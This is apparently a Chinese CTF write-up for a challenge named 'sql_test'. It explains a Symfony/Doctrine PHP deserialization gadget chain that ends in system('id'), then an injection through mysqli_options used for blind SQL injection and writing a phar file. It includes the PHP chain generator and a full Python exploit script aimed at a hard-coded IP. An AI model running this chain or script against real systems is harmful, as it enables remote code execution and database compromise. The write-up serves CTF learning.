sql_test
看到这题有挖掘利用链的操作,学一下,感觉自己针对框架的链子挖掘还是很陌生
这是一个symphony的目录,所以先认识一下这个框架,了解项目之间的文件关系
config/:包含配置文件 src/:所有的php源代码 templates/:Twig模板文件 bin/:这里面主要是使用console文件,进行执行相关symfony命令 var/:主要是包含:缓存文件和日志文件 vendor/:第三方库文件 public/:web网站根目录,如果使用apache、nginx这样的web服务器,需要把根目录指向这个目录
|
首先是挖掘链子,挖掘利用链,肯定是先找合适的destruct,但是翻了一下,发现destruct很多都有wake_up方法,所以转换思路,从其他魔术方法入手,先看看call方法,发现了两个可以进行命令执行的点,很明显,下面那个利用起来会更方便一些
public function __call($method, $args) { if (preg_match('/(.*)(Debug|Info|Notice|Warning|Error|Critical|Alert|Emergency)(.*)/', $method, $matches) > 0) { $genericMethod = $matches[1] . ('Records' !== $matches[3] ? 'Record' : '') . $matches[3]; $level = strtolower($matches[2]); if (method_exists($this, $genericMethod)) { $args[] = $level; return call_user_func_array([$this, $genericMethod], $args); } } throw new \BadMethodCallException('Call to undefined method ' . get_class($this) . '::' . $method . '()'); }
|
在这里,可以调用任意类的invoke()函数,所以我们去看看有没有适合的
namespace Symfony\Component\Cache\Traits;
public function __call(string $method, array $args) { $this->redis ?: $this->redis = $this->initializer->__invoke();
return $this->redis->{$method}(...$args); }
|
可以发现,在这里存在一个动态调用
namespace Symfony\Component\Console\Helper;
public function __invoke($var): string { return ($this->handler)($var); } }
|
接下来我们只需要寻找一下能传入两个参数,并且拥有$xxx->xxx()的类即可
可以看到这里的destruct执行的commit函数有我们需要的
public function __destruct() { $this->commit(); }
|
通过执行$item->getExpiry即可
public function commit(): bool { if (! $this->deferredItems) { return true; }
$now = microtime(true); $itemsCount = 0; $byLifetime = []; $expiredKeys = [];
foreach ($this->deferredItems as $key => $item) { $lifetime = ($item->getExpiry() ?? $now) - $now;
|
接下来我们组装一下
<?php namespace Doctrine\Common\Cache\Psr6{ class CacheAdapter {
private $deferredItems;
public function __construct() { $this->deferredItems =array(new \Symfony\Component\Cache\Traits\RedisProxy()); }
} } namespace Symfony\Component\Cache\Traits { class RedisProxy { private $redis; private $initializer; private $ready = false;
public function __construct() { $this->redis = "id"; $this->initializer = new \Symfony\Component\Console\Helper\Dumper(); } } }
namespace Symfony\Component\Console\Helper { class Dumper { private $handler;
public function __construct() { $this->handler = "system"; } } }
namespace { $a = new Doctrine\Common\Cache\Psr6\CacheAdapter(); echo base64_encode(serialize($a)); }
|
然后在本地测试一下就可以跑通了,接下来寻找一下反序列化点,可以看到没有unserialize,那一般就是phar反序列化了,需要寻找一下反序列化点。
本地测试了一下,成功触发:
可以看到这里有个注入点,其中key和value可控,查询手册可知,key为选择操作的参数
MYSQLI_INIT_COMMAND - 成功建立 MySQL 连接之后要执行的 SQL 语句
|
通过使用这个操作,可以执行value的内容
public function index(Request $request): Response { $con = mysqli_init(); $key = $request->query->get('key'); $value = $request->query->get('value');
if (is_numeric($key) && is_string($value)) { mysqli_options($con, $key, $value); }
|
二分法盲注,我们前面知道,需要找到文件上传点,而这里有个注入点,所以先看看有没有写入权限
爆破出可写入目录
/tmp/ce4d60d5da0336986edff5e01d97cC3e/
|
所以执行sql语句进行写入,wp中写到mysqli_server_public_key这个选项设计到文件操作,是指定服务端公钥的路径。
因为caching_sha2_password认证方式下服务器端会使用缓存,如果不指定公钥连接就是向服务器请求key,所以一旦请求一次成功连接会保留着缓存,导致不会去加载我们指定的公钥。在这里可以通过执行FLUSH PRIVILEGES的命令或者修改用户密码,导致连接失败,同样会触发加载公钥的操作
完整的payload如下:
但是本地起了docker以后跑失败了。。。可能是环境原因吧,毕竟用了出题人的exp跑了也不行,但是我觉得还是应该尝试一下这个mysql的
import requests import time import random import string import os import binascii s=requests.session() url="http://110.42.133.120:7001"
def req(key, value): resp = requests.get(url + "/index.php/test", params={'key': key, 'value': value}) return resp
def get_secure_file_path(): file_path = "" for i in range(1,10000): low =0 high=264 mid=(low+high)//2 while(low<high): payload = f"select if (ascii(substr((select @@global.secure_file_priv),{i},1))>{mid},sleep(5),1);" fi_time=time.time() s.get(url+payload) if time.time()-fi_time>4: low = mid+1 else: high=mid mid=(low+high)//2 if(mid==0 or mid==264): break file_path +=chr(mid) return file_path
def exp(file_path): filename="".join(random.sample(string.ascii_letters,6))+'.phar' file=os.path.join(file_path,filename)
hex_data=str(binascii.b2a_hex(open('test.phar','rb').read())).replace("b'","").replace("'","") print(hex_data) command=f"select 0x{hex_data} into dumpfile '{file}'" print(command) req('3',command)
command=f"select if((ISNULL(load_file('{file}'))),sleep(2),1);" if req('3', command).elapsed.seconds > 1.5: print("file write fail!") exit()
req('3',"FLUSH PRIVILEGES;") time.sleep(5) print(file) resp = req('35', 'phar://' + file) print(resp.text)
if __name__=='__main__': file_path="/tmp/ce4d60d5da0336986edff5e01d97c73e/" print(file_path) exp(file_path)
|
echo加上要用的功能点名称就能输出value了
还有一点需要注意的是,python输出的时候会自带一个b’符号要将他置换为空,不然影响写入结果